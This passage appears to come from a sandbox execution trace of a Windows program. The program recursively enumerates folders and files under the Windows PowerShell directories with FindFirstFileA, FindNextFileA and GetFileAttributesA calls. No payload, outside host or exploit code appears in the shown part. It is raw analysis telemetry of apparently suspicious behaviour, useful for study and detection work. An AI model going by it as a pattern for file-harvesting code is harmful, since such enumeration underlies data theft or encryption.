ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7610 [0230.839] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.839] FindNextFileA (in: hFindFile=0x10f7610, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d0bb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0230.839] FindClose (in: hFindFile=0x10f7610 | out: hFindFile=0x10f7610) returned 1 [0230.839] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Configuration\\Schema\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0230.840] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.840] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 0 [0230.840] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0230.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0230.840] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0230.841] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7690 [0230.842] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.842] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0230.842] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc717ae6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0230.842] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4698376a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4698376a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Pester", cAlternateFileName="")) returned 1 [0230.842] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0230.843] FindNextFileA (in: hFindFile=0x10f7690, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc9fecb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 0 [0230.843] FindClose (in: hFindFile=0x10f7690 | out: hFindFile=0x10f7690) returned 1 [0230.844] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation")) returned 0x10 [0230.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0230.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0230.846] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement")) returned 0x10 [0230.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba80 | out: hHeap=0x2ad0000) returned 1 [0230.847] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester")) returned 0x10 [0230.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0230.848] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget")) returned 0x10 [0230.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0230.848] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0230.849] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e8f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.849] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0230.849] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0230.849] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0230.849] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1")) returned 0x10 [0230.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0230.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0230.850] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f75d0 [0230.851] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70c3d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.852] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0230.852] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0230.852] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.PowerShell.Operation.Validation.psd1", cAlternateFileName="")) returned 1 [0230.852] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3016, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="Microsoft.PowerShell.Operation.Validation.psm1", cAlternateFileName="")) returned 1 [0230.852] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15b, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="OperationValidationResources.psd1", cAlternateFileName="")) returned 1 [0230.852] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Test", cAlternateFileName="")) returned 1 [0230.852] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70e433, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x0, cFileName="Test", cAlternateFileName="")) returned 0 [0230.853] FindClose (in: hFindFile=0x10f75d0 | out: hFindFile=0x10f75d0) returned 1 [0230.853] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\diagnostics")) returned 0x10 [0230.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea040 | out: hHeap=0x2ad0000) returned 1 [0230.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0230.854] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.format.ps1xml")) returned 0x20 [0230.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36a9020 | out: hHeap=0x2ad0000) returned 1 [0230.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0230.857] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1")) returned 0x20 [0230.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0a40 | out: hHeap=0x2ad0000) returned 1 [0230.858] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psm1")) returned 0x20 [0230.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0e68 | out: hHeap=0x2ad0000) returned 1 [0230.859] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\OperationValidationResources.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\operationvalidationresources.psd1")) returned 0x20 [0230.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x379f230 | out: hHeap=0x2ad0000) returned 1 [0230.860] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\test")) returned 0x10 [0230.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0230.861] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.Format.ps1xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.Format.ps1xml", lpFilePart=0x9bada4*="Microsoft.PowerShell.Operation.Validation.Format.ps1xml") returned 0x98 [0230.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0230.861] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x9bada4*="Microsoft.PowerShell.Operation.Validation.psd1") returned 0x8f [0230.861] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psm1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psm1", lpFilePart=0x9bada4*="Microsoft.PowerShell.Operation.Validation.psm1") returned 0x8f [0230.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0230.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0230.862] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\OperationValidationResources.psd1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\OperationValidationResources.psd1", lpFilePart=0x9bada4*="OperationValidationResources.psd1") returned 0x82 [0230.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0230.862] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7450 [0230.862] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70cbfc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0230.862] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70d5fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Comprehensive", cAlternateFileName="COMPRE~1")) returned 1 [0230.863] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Simple", cAlternateFileName="")) returned 1 [0230.863] FindNextFileA (in: hFindFile=0x10f7450, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Simple", cAlternateFileName="")) returned 0 [0230.863] FindClose (in: hFindFile=0x10f7450 | out: hFindFile=0x10f7450) returned 1 [0230.863] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\diagnostics\\comprehensive")) returned 0x10 [0230.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e8278 | out: hHeap=0x2ad0000) returned 1 [0230.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0230.863] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\diagnostics\\simple")) returned 0x10 [0230.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6278 | out: 